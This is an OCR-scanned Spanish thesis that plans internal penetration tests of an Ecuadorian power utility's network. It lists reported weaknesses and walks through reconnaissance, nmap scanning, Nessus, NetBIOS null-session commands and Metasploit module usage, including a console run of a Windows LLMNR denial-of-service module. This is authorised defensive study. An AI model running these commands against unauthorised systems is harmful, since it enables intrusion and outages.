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RESUMEN

La empresa de distribucion eléctrica CNEL EP, esta formada por 10
Unidades de Negocio (UN), un Data Center y la Oficina Central, quien

coordina la gestiébn administrativa y genera politicas corporativas.

Cada UN es la encargada de administrar y controlar su red LAN, WAN vy
WLAN, ademas el esquema de red de enrutamiento y seguridad perimetral

aplicada en el Data Center es el mismo que se utiliza en cada UN.

La administracion del trafico de datos generado por la red LAN, WAN y
WLAN es controlado por los routers y firewall, configurados en un esquema
redundante, donde se aplican las politicas de seguridad impartidas por la

Oficina Central.

A pesar de ello, algunas UN han reportado diferentes problemas de

seguridad, tales como:
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» No existe una politica de cambio de clave para la red WLAN, la misma
gue se ha mantenido por mas de un afio sin cambio y muchas personas
ajenas a CNEL EP la conocen y tiene acceso a la red corporativa sin
control.

» No existe control de acceso al medio, cualquier computador o
dispositivo movil que se conecte a la red de datos, puede usar los
servicios sin control de CNEL EP.

» No existe una politica de seguridad para evitar la denegacion de
servicios, para controlar el trafico de datos generado desde el interior de
la red LAN y WLAN, lo que ha permitido que en varias UN los equipos
de comunicaciones como switchs, routers y firewall fallen por saturacién
de memoria y procesador, provocando el bloqueo de todos los
servicios, causando problema en todas las areas administrativas y de
atencion al cliente por minutos e incluso horas.

» No existen herramientas especializadas para identificar los dispositivos
gque provoca la denegacion de servicios en la red de datos. Actualmente
esta tarea es manual, como desconexiones de enlaces de datos, que
afectan a varias areas de trabajo como pisos 0 unos blogues de pisos.
Después de aplicar este mismo procedimiento dentro de cada area de
trabajo, se pudo identificar a switch de accesos y AP que se
encontraban en mal estado; asi como también se pudo identificar y

bloguear teléfonos mdviles como los causantes de estos incidentes.



viii

» No existe un reglamento especffico y detallado aplicado para la
desvinculacion del personal técnico que trabaja en el area de
tecnologia. Algunas aplicaciones y servicios dejaron de funcionar casi
inmediatamente después de la separacion de dicho personal. Para
superar el incidente se tuvo que realizar tareas manuales, como:
bloguear usuarios, cambiar claves, y revisar codigos fuentes de
aplicaciones para identificar el origen del problema. (inventario de
usuarios por sistemas)

» No existe un control de la seguridad de la informacién cada vez que se

presenta un incidente.
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INTRODUCCION

La implementacion de la infraestructura de networking en el afio 2013, fue un
avance significativo que permite trabajar a todas las UN bajo un mismo
esquema de red. Pero los problemas particulares de cada UN no son
tratados corporativamente sino como casos aislados, proponiendo soluciones

a mediano plazo, que hasta la fecha se han quedado en proyectos.

Con el animo de ser proactivo y adelantandome a los procesos que en su
momento tratara la Gerencia Seguridad de la Informacion, se desarrolla un
plan de pruebas de wulnerabilidades a los principales activos de la Unidad de
Negocios Los Rios, con el objetivo mantener la disponibilidad vy
confidencialidad de la informacién; y de garantizar que solo los dispositivos

de CNEL EP puedan usar la red de datos.

La prueba de penetracion o pentesting es la metodologia utilizada, donde en
la fase de escaneo se identifican las vulnerabilidades de seguridad de estos

activos, que reflejan en menor o mayor medida problemas similares que
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pueden presentarse en otras UN. Las herramientas utilizadas en esta fase

son: nmap, nessus, nikto y metasploit.

La solucion a los problemas presentados consiste en proponer la
implementacion de politicas y controles. Politicas como desvinculacion de
personal, control de acceso y denegacion de servicios. Y controles como
tipos de autenticacién, mecanismos de bloqueo y calidad de servicios. A
través de los switch y firewall ya instalados en las UN se puedo implementar

parte de la solucion.

En los switch: Permite implementar la politica del control de acceso,
activando la autenticacion de dispositivos conectados a la red con un servidor
RADIUS. Ademas controles como: Mecanismos de blogqueo con: puerto
seguro y configuracion de defensa contra ataques IP; calidad de servicio
garantizando ancho de banda por puertos. En el firewal: Permite
implementar la politica de denegacién de servicios, activando la proteccién

contra ataques o flooding.



CAPITULO 1

GENERALIDADES

1.1. Antecedentes
La empresa de distribucion eléctrica CNEL EP, estd formada por 10
Unidades de Negocio (UN), un Data Center Corporativo y la Oficina
Central quien coordina la gestion administrativa y genera politicas

corporativas.

En cada UN existe un administrador de la red LAN, WAN y WLAN,
supervisa la disponibilidad de los servicios locales y remotos, ademas
monitorea los enlaces de datos activos y pasivos que brindan los

Proveedores de Servicios de Internet ISP - CNT y TELCONET - hacia



las agencias, subestaciones, otras UN, el Data Center. Este esquema

de red es el mismo en todas las UN.

Existen alrededor de 300 equipos informaticos en la UN Los Rios, por lo
gue es necesario segmentar la red de datos en dominios de colision o
broadcast mas pequefios, separados por VLAN's, Cada area de
trabajos que puede estar agrupadas en pisos, edificios o departamentos
tiene asociada una VLAN's. También existen VLAN's asociadas a
servicios tales como: sistema de Radio Comunicaciones de 2 Vias, red
WLAN corporativa con el mismo SSID, Sistema de Video Vigilancia

Inteligente (IVS), etc.

La red perimetral esta formada por un switch SW de CORE, conectado
a un router - firewall y estdn conectados a los dos Proveedores de
Servicios de Internet (ISP). Aguas abajo dentro de la red LAN se
configuran las VLAN’s para cada oficina y aguas arriba se conectan con

las agencias, las subestaciones y otras UN.

Los servidores locales permanecen en la vian 1 y los demas servicios

de en la UN estan configurados en diferentes vian’s.

El router — firewall trabaja con alta disponibilidad con el protocolo
HSRP, tiene servicios integrados de seguridad contra ataques, VPN,

NAT, QinQ, filtrado de contenido, router estatico y dinamico, etc.



El switch de core, con funcionalidades de router permite realizar Vlan’s,

enlaces trunk, con servicios de autenticacion local AAA y radius

Debido a la falta de una politica de adquisicion de equipos de
infraestructura de tecnologia, existen switches de accesos de diversas
marcas y funcionalidades, algunas muy basicas que no permiten ser

administrados y limitando algunos servicios corporativos.

La red WLAN es corporativa, su administracion esta centralizada en el
Data Center y en todas las UN los Access Point son instalados con
enlaces trunk desde los switch de acceso, razdn por la cual esta
limitado su uso en varias areas por no tener switch con estas

caracteristicas.

AP vlan
701
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Figura 1.1: Diagrama de red de datos de una UN de CNEL EP




Los servidores locales son equipos HP Proliant con redundancia en
discos y fuentes de poder, pero también existen computadoras de
escritorios con funcionalidades de servidores, debido a la carencia de
recursos se mantienen hasta la actualidad. Los servidores locales
tienen los siguientes roles:

e Servidor HP Proliant de maquinas virtuales, con Sistema Operativo
SO Windows 2008 Server R2, contiene las siguientes maquinas
virtuales: servidor DHCP, servidor WSUS, servidor antivirus, servidor
de aplicaciones de lectura de medidores sistema comerciales y otras
relacionadas.

e Servidor HP Proliant del Sistema de Informacion Georeferencial GIS,
con SO Windows 2008 Server R2.

e Servidor en computador de escritorio, sistema comercial Prepago.
Con SO Windows XP

e Servidor de aplicaciones: reporteador Web del sistema comercial,
sistema anterior financiero y de bodega; servidor proxy. Instalado en
un computador de escritorio con Windows 2008 Server R2.

e Servidor HP Proliant con sistema de némina anterior, SO CentOs 5.0

e Servidor de telefonia IP Elastix, SO CentOs 5.0

e Servidor en computador de escritorio, sistema de Radio

Comunicaciones 2 Vias, SO Windows 8



1.2.

La seguridad perimetral estd gestiona por un firewall, donde tiene
implementadas politicas de restricciones por rangos de IP, calificadas

en tres niveles: gerenciales, masivos y recaudadores.

o El nivel gerencial es aplicado al gerente y sus directores, donde tiene
acceso sin restriccion excepto hacia las paginas consideradas como
maliciosas informados por la Oficina Central.

e EIl nivel masivo esta aplicado hacia el resto del personal, donde
tienen bloqueadas las paginas con contenido de video o streaming,
redes sociales, pornografia y los blacklist anteriores.

e EIl nivel recaudadores esta aplicado hacia el personal que trabaja en
las cajas de recaudacion, donde se requiere el acceso solo hacia las
paginas de trabajo diario, de gestion documental, sistema financiero,
correos electronicos gratuitos 'y los principales medios de

comunicacion para estar informados.

El firewall ademas gestiona el acceso hacia la DMZ o NAT, controla los

clientes VPN y gestiona el ancho de banda en la red LAN y WAN.

Descripcion del problema

Como se habia comentado anteriormente, la Oficina Central es la
encargada de emitir las politicas de seguridad aplicadas en cada UN,
pero solo las politicas estan orientada a la capa tres del modelo OS],

descuidando la capa dos, y que una de sus subcapas es el control de



acceso al medio, es decir, el control de los equipos que acceden a la

red LANy WLAN de CNEL EP.

Debido a estos antecedentes se ha reportado en varias UN en

diferentes fechas problemas de seguridad, tales como:

» No existe una politica de cambio de clave para la red WLAN, la
misma que se ha mantenido por mas de un afio sin cambio y
muchas personas ajenas a CNEL EP la conoceny tiene acceso a la
red corporativa sin control.

> No existe control de acceso al medio, cualquier computador o
dispositivo moévil que se conecte a la red de datos, puede usar los
servicios sin control de CNEL EP.

» No existe una politica de seguridad para evitar la denegacion de
servicios, para controlar el trafico de datos generado desde el
interior de la red LAN y WLAN, lo que ha permitido que en varias
UN los equipos de comunicaciones como switchs, routers y firewall
fallen por saturacibn de memoria y procesador, provocando el
bloqueo de todos los servicios, causando problema en todas las
areas administrativas y de atencién al cliente por minutos e incluso
horas.

> No existen herramientas especializadas para identificar los
dispositivos que provoca la denegacion de servicios en la red de

datos. Actualmente esta tarea es manual, como desconexiones de



enlaces de datos, que afectan a varias areas de trabajo como pisos
0 unos blogues de pisos. Después de aplicar este mismo
procedimiento dentro de cada area de trabajo, se pudo identificar a
switch de accesos y AP que se encontraban en mal estado; asi
como también se pudo identificar y bloquear teléfonos moviles como
los causantes de estos incidentes.

» No existe un reglamento especifico y detallado aplicado para la
desvinculacion del personal técnico que trabaja en el area de
tecnologia. Algunas aplicaciones y servicios dejaron de funcionar
casi inmediatamente después de la separacioén de dicho personal.
Para superar el incidente se tuvo que realizar tareas manuales,
como: bloquear usuarios, cambiar claves, y revisar codigos fuentes
de aplicaciones para identificar el origen del problema. (inventario
de usuarios por sistemas)

» No existe un control de la seguridad de la informacién cada vez que

se presenta un incidente.

1.3. Solucidén propuesta

Debido a los incidentes reportados por algunas UN, se hace necesario
evaluar la red de datos, realizando varias pruebas de wvulnerabilidad en
una UN, descubrir los riesgos, evitar ataques, analizar los resultados,
evaluar las alternativas de solucibn 'y recomendar sus

implementaciones. Se detalla las politicas que se implementaran para



los siguientes ataques y/o escenarios para mitigar las amenazas y

minimizar los riesgos:

e Ataque por ingenieria social.- Se pretende conseguir la clave de
acceso de la red WLAN, y nombres de usuarios utilizados en el
directorio activo. (concientizacion)

e Ataques de diccionario.- Se puede aplicar para conseguir la claves
de acceso de los usuarios del directorio activo; claves de acceso a
los usuarios de telefonia IP.

e Ataques por sniffer.- Se puede enviar correos electronicos falsos,
donde soliciten ingresar a servicios utilizados en la Intranet para
conseguir autenticacion, usuarios y claves de accesos.

e Ataques hombre en medio.- Se puede conseguir informacion critica
de aplicaciones realizando ataques de hombre en medio,
redireccionando el trafico de un computador a otro.

e Ataques por denegacion de servicios.- Se puede utilizar
aplicaciones para generar trafico de red dentro de la red y dejar
inutilizados los servicios que presta la CNEL durante un periodo de
tiempo indefinido.

e Politica de despido del personal.- Debido a la falta de politicas
aplicado al personal despedido intempestivamente, pueden tomar

represaria en contra de CNEL borrando la informacion contenida en



14.

15.

1.6.

su computador, alteracién de datos en base de datos, bloquear
usuarios y servicios criticos que administraba.

e Politicas de control de acceso al medio, aplicado al personal de de
CNEL EP y funcionarios externos.

e Politicas de acceso hacia los servidores locales, servidores en el

Data e Internet.

Objetivo general

Desarrollar pruebas de wulnerabilidad de la Red de datos de una

empresa publica de distribucion eléctrica CNEL EP

Objetivos especificos

e Realizar test de wulnerabilidad aplicado a la infraestructura de una
Unidad de Negocio de CNEL EP.

e Definir acciones correctivas que deberdn implementarse como
resultado de las pruebas realizada para mantener la disponibilidad y
confidencialidad.

e Administrar el control de acceso al medio, para garantizar que los
equipos terminales como computadoras y dispositivos moviles
registrados por la corporaciéon sean los Unicos que puedan usar la

red de datos de CNEL EP.

Metodologia
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Esta basada en las fases del pentesting, donde las primeras fases son
coincidentes, pero a las dos Ultimas son diferentes dependiendo si el

consultor es cracker o ético

e Reconocimiento o footprinting.

e Exploracion o escaneo y enumeracion
¢ Obtener acceso

e Mantener el acceso

e Borrar huellas

El tipo de hacking ético es “interno”, debido que todas las pruebas se

realizan desde la red interna y no desde la Internet.

La modalidad de las pruebas realizadas, de acuerdo a la cantidad de

informacion proporcionada por CNEL EP UN Los Rios, que es completa

se denomina “white box hacking” o transparente.

1.6.1. Reconocimiento o footprinting.

Es la primera fase de ejecucion y consiste en descubrir la mayor

cantidad de informacién de CNEL EP UN Los Rios.

Debido a la relacion de dependencia con CNEL EP, la
informacién disponible para ser analizada es total, y resulta de

los afios de trabajos en el area de tecnologia.
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Con este precedente la interaccion es directa, el reconocimiento
de los datos es activo, es decir, se realizar4 barridos de ping,
conexiones a puertos de aplicativos, uso de ingenieria social,
mapeos de red, etc., desde plataformas de sistemas operativos

con Windows y Linux.

Debido a la cantidad de herramientas informaticas existentes en
el mercado, no se las tiene disponibles por los limitados

presupuestos destinados a la seguridad de la informacion, por lo

gue usaremos las siguientes:

Footprinting con Google: Por ser el buscador mas usado nos
permite hacer busquedas rapidas y acertadas, combinando
operadores

e Resolviendo nombres con nslookup

e Obteniendo informacién de directorios Who-is

Usando herramientas todo en uno

1.6.1.1. Footprinting con Google

Hoy por hoy existen muchos navegadores en Internet,
pero Google se ha convertido en el buscador preferido y
mas usado, que permite combinar operadores de
busqueda y otros signos de puntuacion para obtener

resultados mas rapidos, especificos y precisos.
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Puntuacion vy simbolos:

+ (simbolo mas) Permite incluir en su blusquedas las
palabras separadas por el signo mas +CNEL EP

e - (simbolo menos) Permite excluir en su busqueda la
palabra que se antepone al signo menos

infraestructura -edificio

“

o (comillas dobles) Permite buscar un texto
literalmente “poema del mio cid”

e * (asterisco) Utilizado en una posicion como comodin o
desconocido quien con lobo *aunque * aprende

e @ (arroba) Para buscar usuarios en redes sociales

@mashirafael

| (pipe) concatenar un operador con otro

Operadores de busqueda: Son palabras que pueden ser

afadidos para restringir los resultados

e site: Busca wun sitio en particular en Internet
site:cnel.gob.ec

e link: Busca péaginas contenidos en un enlace en
particular link:wwwmipaginapuntocompuntoec

e or: Busca una o varias palabras. Ejemplo amenazas

or vulnerabilidad
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e ext: Busca archivos por una extension definida, por
ejemplo ext:avi| ext:mp3 | ext:wav

¢ info: Busca informacion adicional de un sitio web info:
wwwmipaginapuntocompuntoec

¢ intitle: Busca una palabra en el titulo de la pagina

e inurl: Busca una palabra en la URL de la pagina

inurl:login

Resolviendo nombres con nslookup

Una vez conocido el sitio web, podemos saber la
direccion IP a través de las consultas DNS, donde
posiblemente no encontremos una sola direccion IP sino

un rango IP

Este comando permite utilizar algunas opciones, como

son: tipo de consulta y enumerar direcciones de dominio.

Tipo de consulta:

set type = [NS] [MX][ALL] NS servicio de nombres, MX

servicio de correo y ALL todos

Enumerar direcciones de dominio

Is[-a | -d ] dominio —a nombre canénicos y alias, -d

todos los registros DNS
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Bl Simbolo del sistema - nslookup

Figura 1.2: Comando nslookup en entorno CLI

En el ejemplo nos da informacién valiosa, como por
ejemplo que el servidor con el dominio cnel.gob.ec tiene
una IP version 4 clase A; esta alojado en palosanto.com
y tiene un servidor de correo con el subdominio

mail.cnel.gob.ec
1.6.1.3. Obteniendo de direcciones Who-is

El Who-is es un protocolo que permite realizar consultas
en una base de datos que contiene informacion del

propietario y direccion IP.

Existen algunos sitios web que llevan los registros a nivel
regional, como son: AfriNIC (Africa), ARIN (América

Anglosajona), LACNIC (Latino América), APNIC (Asia
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Pacifico), RIPE NCC (Centro de Coordinacion de redes
Europeas), NIC (Paises Ecuador, Pert, Colombia,

Republica Dominicana, etc.

Esta informacibn no necesita autorizacibn y da
informacion valiosa sobre la organizacion, por ejemplo
consultando en la pagina nic.ec sobre cnel.gob.ec, nos

da el resultado de la pagina

En la consulta aparece informacion real, como son:
representante legal, nombre de la empresa, direccion en
calles, teléfonos, contacto técnico, etc., que trabajan en
la institucion, que se presta para hacer ataques de

ingenieria social.

— qc Registro de Dominios
_,.f_) ;/ o EC - Ecuador
REGISTRO MANEJO DE DOMINIOS CUOTAS Y PAGOS NORMAS PREGUNTAS W

Los datos detallados a continuacidn por NIC.EC es informacion publica cuyo proposito es
unicamente informative que sirve para la obtencion de la informacion acerca de o
relacionado con los registros de un Nombre de Dominio. Los datos se muestran de acuerdo
a los datos de NIC.EC en la ultima actualizacion de su base de datos. Al realizar una
busqueda de WHOIS de un dominio, usted declara y acepta que los datos seran utilizados
solo para fines legales y que no utilizara los datos para envios masivos no solicitados
de correo electronico o para publicidad o fines comerciales no solicitados.

Informacion del Dominio

Dominio: cnel.gob.ec

Fecha de Creacion: @2 Jul 2010

Fecha de ultima Medificacion: @8 Jan 2015

Fecha de Expiracion: 82 Jul 2016

Nombres de Servidores DNS:
ns58.palosanto.com
ns59.palosanto.com

Figura 1.3: Consulta who-is en la pagina www.nic.ec
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1.6.1.4. Herramientas de reconocimiento

Hasta ahora los recursos aislados como Google,
comandos nslookup y los Who-is permiten avanzar
lentamente, pero se requiere una herramienta que
permita hacer todo esto en el menor tiempo y mucho mas

con el objetivo de generar reportes.

Traceroute visual

Ademas de saber la direccién IP, es necesario saber si el
servidor esta administrado por la empresa o alojado en
un hosting externo. Es necesario para saber si en caso
de tener acceso remoto, estamos wulnerando Ila

seguridad de un tercero.

La herramienta nos permite determinar la ubicacion
geografica de los saltos del paquete, las direcciones IP,

dominios hasta llegar al destino final.

Existen herramientas gratuitas y pagadas.

1.6.2. Exploracion o escaneo y enumeracion.

Ya en la fase previa se recabd informacion sobre nuestro
objetivo. Si es un hacking externo tenemos identificado el rango

de IP publicas y si es hacking interno, se tiene identificada los
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segmentos de redes que van hacer auditadas. Se procede a
identificar los “host” vivos dentro de los segmentos de red,
deteccion de sistemas operativos, los puertos abiertos y las
aplicaciones asociadas a los puertos, para su posterior analisis si
los servicios detectados son susceptibles a enumeracién, para

saber si los host tienen vulnerabilidades potenciales de explotar.

Para ello se utilizara algunas herramientas con extremo cuidado,
para evitar ser detectados y bloquear IP a través de una lista de
control de acceso ACL generada por sistemas.

e Ping sweepers

TCP ping

NMAP

NESSUS

METASPLOIT

Todas estas herramientas son gratuitas y en el Internet existe

mucha informacidon disponible sobre su uso

1.6.2.1. Ping sweepers

Para identificar los host activos usamos esta herramienta
gue genera un barrido de ping enviando protocolo ICMP
solicitudes de eco (echo request). Un inconveniente de

esta herramienta es que muchos firewalls bloquean las
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solicitudes de ping para ser detectados y evitar ataques
de denegacién de servicios distribuidos DoS basados en

echos-request.

Se puede personalizar las pruebas de ping entre

diferentes host para evitar ser detectados por los IPS

| » Ping Sweep Tool v1.2.

: . [v Resolve Hostnames
starting IP: 100 J255 J14 15 [~ Force Resolve
Ending IP: J1g0  [255 |14 |20 [~ Only Show Alive Ips _Save Results... |
) I—' : : [ Use IP's List AT
Interval: |200 M | [T Use Smart Paste —
[v Auto-Scroll List Quit
[~ View Grid
IP | Ms. | IP Status | Resolved Addresses
100.255.14.15 0 IF Req Timed Out Cannot Resolve Hostname
100.255.14.16 0 IP Req Timed Out Cannot Resolve Hostname
100.255.14.17 0 IP Reqg Timed Out Cannot Resolve Hostname
100.255.14.18 0 IP Reqg Timed Out Cannot Resolve Hostname
100.255.14.19 0 IP Reg Timed Out Cannot Resolve Hostname
100.255.14.20 0 IP Reqg Timed Out Cannot Resolve Hostname

Figura 1.4: Interfaz grafica de ping sweep

1.6.2.2. TCP ping

Si esté bloqueado el ping, podemos utilizar TCP ping.

Ambas herramientas ping sweepers y TCP ping soélo
realizan escaneo de host activos, pero las herramientas
de escaneo de puerto detectado los puertos abiertos en

cada host activo encontrado y su aplicacién asociada.

Esta herramienta no utiliza el protocolo ICMP sino TCP,

realiza conexiones a uno o varios puertos conocidos del



1.6.2.3.

1.6.2.4.

19

equipo remoto esperando una repuesta, si responde es

porque esta activo.

Estados de los puertos

Es necesario saber cudles son los estados de los puertos

para comprender mejor las herramientas mencionadas.

e Abierto.- La aplicacion esta disponible y escuchando.

e Cerrado.- Es lo contrario de abierto, no tiene asociado
una aplicacién o servicio que responda

¢ Filtrado.- No puede ser accesado y determinar si esta
abierto o cerrado porque existe un equipo intermedio —
router o firewall - que filtra los paquetes.

¢ No - filtrado.- Es un puerto accesible, que no se puede
determinar si esta abierto o cerrado. Esta técnica es
conocida como escaneo ACK

e Abierto | filtrado.- No se puede saber si esti abierto o
filtrado, porque el puerto abierto a veces no responde.

e Cerrado | filtrado.- El escaner de puertos no puede

saber si esta cerrado o filtrado.

Técnicas de escaneo

Basado en la técnica de TCP “apretén de mano de 3

vias” o llamado three-way handshake, utilizado para el
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inicio de una conexidon, tal como se describe a

continuacion entre el computado Ay B

e A envia un sincronismo SYN a B
e B responde sincronismo + acuse de recibo SYN+ACK

e A responde con el acuse de recibo ACK a B

Escaneo SYN o Hald-Open (medio abierto)

Esta técnica se basa en hacer los dos primeros pasos sin
completar la conexidn, es decir, sin enviar el acuse de

recibo quedando en estado embridnica.

Es obvio que si recibo un SYN + ACK, el puerto esta
abierto, si recibo un RST esta cerrado, caso contrario

esta filtrado.

Esta técnica es muy buena, porque las conexiones
embridnicas se mantienen en memoria, Sin ser
registradas en los logs, pasando desapercibidos por los

administradores.

Escaneo Full o Connect-Scan

También utiliza paquetes TCP y si se completa la
conexion. Posiblemente si se registre en los logs y sea

detectados por los IPS
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Escaneo UDP

Se envian tramas UDP a los puertos remotos esperando
una repuesta. Si llega una trama UDP el puerto esta
abierto, si llega un ICMP port-unreachable esta cerrado,

si llega ICMP del tipo 3 cédigos 1, 9, 10 6 13 esta filtrado.

Escaneo especiales (si RTS esta abierto)

Basado en el protocolo TCP, se trabaja con los estados
de las banderas de la cabecera para saber si esta abierto

o cerrado.

¢ Null scan (flags off)
e FIN scan (FIN on)

e XMas scan (FIN + URG + PSH)

Cuando un puerto esta cerrado al recibir un segmento
que no contenga la bandera RST responderd con un
reset de acuerdo al RFC 793, en caso que no se reciba

repuesta se coloca como abierto | cerrado.

Windows y otros sistemas operativos siempre devuelve
un RST, para evitar falsos positivos se recomienda

complementar con otra herramienta.

Escaneo ACK (si RTS no-filtrado)
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Se lo utiliza para saber si existe un firewall de por medio
y no para saber si un puerto esta abierto o cerrado. Si se
envia un ACK y recibe un RST el puerto no esta filtrado,

caso contrario esta filtrado.

Nmap

Es quizds el software de escaneo de puertos mas
completo debido a su versatilidad, se pueden aplicar las
técnicas descritas anteriormente. Esta herramienta de
escaneo de redes permite identificar a todos los
dispositivos remotos, activos, sistemas operativos,

existencias de filtros, firewall.

Algunas de las caracteristicas mas representativas son:
e Escaneo de puertos

e Escaneo de servicios

e Escaner de wulnerabilidades

e Escaneo de redes

e Escaneo por scripts

Es una herramienta de linea de comandos donde se

indica cual sera el objetivo y la sintaxis es:

nmap [tipo(s) de escaneo] [opciones]{red|host objetivo}
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Opciones:

-sn : Busqueda por ping

-sS : Busqueda por syn/half scan

-sT : tcp/connect scan

-SA : ack scan

-SN : null scan

-sU : Busqueda por paquetes udp

-sF : Busqueda por bandera fin

-sX : Busqueda por bandera xmas

-sV : Detecta los servicios abiertos, que version tiene

-O : deteccion de sistema operativo

-T<0-5>. Es un temporizador de tiempo, donde el valor
mas alto es mas rapido

-v : salida detallada

Archivo Editar Ver Buscar Terminal Ayuda
~# nmap -sT -0 1 30.1.162

Figura 1.5: nmap buscando puertos y SO
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1.6.2.6. Nessus

Es una herramienta que identifica las vulnerabilidades de
los servicios abiertos identificados por NMAP, ejecutando
plugins que verificar si la vulnerabilidad existe 0 no en un

determinado equipo.

Esta herramienta tiene una gran base de datos de
vulnerabilidades, cuenta versiones gratuitas Illamada

Home que permite escanear hasta 32 IPs y comerciales

gue no tiene limite en el numeros de IPs

Primero se deben de crear las politicas, que sera acorde

al SOy aplicaciones utilizadas.

Segundo hace el escaneo de los equipos ingresando las

direcciones IP seleccionando las politicas.

Se generan las wulnerabilidades calificadas en: criticas,

alto, medio, bajo e informativo.

Las wulnerabilidades son clasificadas de acuerdo al nivel
de riesgo: bajo, mediano y alto.
e Riesgo Alto: Estas wulnerabilidades son criticas, que

pueden ser explotadas facilmente, pudiendo tomar el
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control total del equipo o comprometer la seguridad de
la empresa. Su correccion es inmediata

e Riesgo mediano: Son wulnerabilidades severas que
requieren mayor grado de complejidad para ser
explotadas, que no necesariamente se tendria el
mismo nivel de acceso. Su correccion puede ser a
corto plazo.

e Riesgo bajo: Son wulnerabilidades moderadas, que
podria brindar informacién para su posterior ataque.

No tienen un nivel urgencia alto

Policies

Servidor Nomina

Scans > Hosts Vulnerabilities Histary
Severity a Plugin Name Plugin Family
Apache Tomcat servlet/JSP container default "|Ies Web Servers
Web Application Potentially Vulnerable to Clickjacking Web Servers
m Web Server Transmits Cleartext Credentials Web Servers
m Web Server Uses Basic Authentication Without HTTPS Web Servers
m Nessus SYN scanner Port scanners
m CGI Generic Injectable Parameter CGl abuses
m CGl Generic Tests Load Estimation (all tests) CGl abuses
m External URLs Web Servers
m HTTP Methods Allowed (per directory) Web Servers
| S—— _ o o

Figura 1.6: Vulnerabilidades encontradas nessus

1.6.2.7. Metasploit
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Una vez identificados los equipos activos, sus servicios o
puertos utilizados y vulnerabilidades, el paso siguiente es
explotarla con la herramienta Metasploit. Pero no siempre
estas wulnerabilidades se las puede explotar debido a
otras medidas de control que no fueron consideradas,
otra capa de seguridad o distintas variables. En caso que
se pueda explotar la vulnerabilidad, podra comprobarse y

dimensionarse el dafio dentro de la empresa.

Metasploit es una herramienta ideal que tiene una base

de datos de exploits que pueden aprovecharse.

Tiene una interfaz graficay de linea de comandos donde
se podra hacer pruebas de las vulnerabilidades.

earch msl4-066

sf > use auxiliary/dos/windows/llmnr/msll_030_dnsapi
sf auxiliary( ) > show options

Module options (auxiliary/dos/windows/llmnr/msll_030_dnsapi) :
Name  Current Setting Required Description

RHOST 224.0.0.252 The target address
RPORT 5355 e The target port

f auxiliary( > exploit
Sending Ipv6 LLMNR query to 224.0.0.252
Sending Ipv4 LLMNR query to 224.0.0.252

Note, in a default configuration, the service will restart automatically t

In order to ensure it is completely dead, wait up to 5 minutes and run it

Auxiliary module execution completed
f auxiliary( ) > help

Figura 1.7: Metasploit en modo consola

1.6.2.8. Enumeracion
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En este punto, debemos de obtener la mayor cantidad de
informacién que sea posible de lo que consideramos
nuestro objetivo tipo, como datos de un administrador,
que puede ser: nombres de usuarios, grupos, recursos
compartidos, recursos de NetBios, nombre del equipo,

servicios de red, etc.

A continuacién se detalla los protocolos mas populares
para enumerar:

Netbios

e DNS

LDAP

SNMP

Debido que el 85% de los SO instalados son Windows,
este protocolo viene embebido por defecto, por lo que es
susceptible de enumeracion o explotacion, segun la

version del SO instalado.

Utiliza los puertos 137 TCP, 138 UDP, 139 UDP y 445

TCP.

Las sesiones nulas se las crearon inicialmente para
poder compartir archivos e impresoras y autenticacion

entre procesos, valiéndose de una debilidad de los
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protocolos SMB/CIFS usados en sistemas Windows y
Linux — Samba, que permitian enumerar listas de
usuarios, listas de grupos, maquinas que se encontraban

conectadas y hasta SID.

Claro estd que esto fue validos para los sistemas XP y
2000. Los SO Windows 2003 no permite enumeracion y
Windows 7 se puede bloquear pero no cuentas de

usuarios o grupos

”n

El comando net use \\nombrePC\AIPC$ “’ /u” permite

abrir conexiones nulas.

El comando net permite ver, actualizar o realizar
cambios. Para visualizar dominios, grupos de trabajo,
computadoras o0 recursos compartidos utilicemos net

view \\NombreEquipo] [/[domain[:NombreDeDominio]]

Una vez establecida las conexiones nulas, obtenemos
informacion adicional del protocolo NetBios con el
comando nbtstat que recupera los nombres de los

servicios.

Existen herramientas que permiten recuperar usuarios y

grupos de Windows tales como sid2user y dumpuser que


file://nombrePC/IPC$
file://NombreEquipo
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trabajan en modo comando y las herramientas GetAcct,

Hyena y DumpSec en forma gréfica.

1.6.3. Obtencién de acceso

Una vez encontrados los dispositivos, sistema operativo, puertos
abiertos, aplicaciones usadas, vulnerabilidades, enumerar los
usuarios, nombres de maquinas, grupos, etc., se debe de
ejecutar el ataque con herramientas de explotacién tales como:

e Metasploit

e Inmunity Canvas

e Core Impact Pro

Tanto Immunity Canvas como Core Impact son versiones
pagadas que cuestan desde $995 y $40,000 aproximadamente,
mientras que Metasploit tiene la versidén gratuita y pagada; por

ese motivo vamos a elegir Metasploit

1.6.3.1. Metasploit Framework

Es un proyecto de seguridad de coédigo abierto que
brinda informacion acerca de las wulnerabilidades y

ayuda en la ejecucion en el test de penetracion.
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El Metasploit Framework MSF desarrolla y ejecuta exploit
contra un dispositivo de red, compuesto por librerias,

moédulos, interfaces y un sistema de archivos.

Las interfaces para la version Framework son: msfcli,
msfconsole y Artimage. En las versiones pagadas tienen

interfaces Web.

Los modulos son de seis tipos: auxiliares, codificadores,

explacion, generadores de no operaciéon, cargadores y

post explotacion:

e Auxiliares (auxiliary).- Proveen funcionalidades para
ejecutar tareas en un equipo remoto.

e Codificadores (encoders).- Encargado de cargar y
descargar los payloads que se ejecutan en un exploits.

e Explotacion (exploits).- Explota un vulnerabilidad, que
a diferencia de los auxiliares utilizan una cargar

e Generadores de no-operacion (nops).- Se utilizan para
garantizar la correcta cargar de los payloads detro del
MSF

e Cargas (payloads).- Son programas que se cargan al
host remoto después de haber ejecutado exitosamente

un exploit.
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e Post explotacién (post).- Se usan para ganar mayor

acceso.

Puede correr bajo las plataformas Linux (embebido en
Kali Linux) y Microsoft. EI comando msfconsole permite

cargar

:~# msfconsole

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

metasploit v4.11.4-20

432 payloads - 37 encoders - 8 nops

]

=[ 1467 exploits - 840 auxiliary - 232 post ]
]

Free Metasploit Pro trial: http://r-7.co/trymsp ]

exploit/windows/http/edirectory_host
) > show options

Module options (exploit/windows/http/edirectory_host):

Name  Current Setting Required Description

Figura 1.8: Entorno del comando msfconsole

Dentro de los comandos mas usados estan: search, use,

info, set, run y exploits

e search: Utilizado para hacer busquedas que pueden
ser por nombre o ruta del término indicado, por
cédigos cve, osvbd, bid

e use: Utilizado para escoger un modulo ingresando la

ruta completa, por ejemplo para cargar una
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wulnerabilidad en  Windows XP utlice: use
windows/smb/ms08_067_netapi

¢ info: Proporciona informacion del modulo cargado

e set: Permite ingresar informacion adicional para
ejecutar el modulo cargado. Nos podemos ayudar del
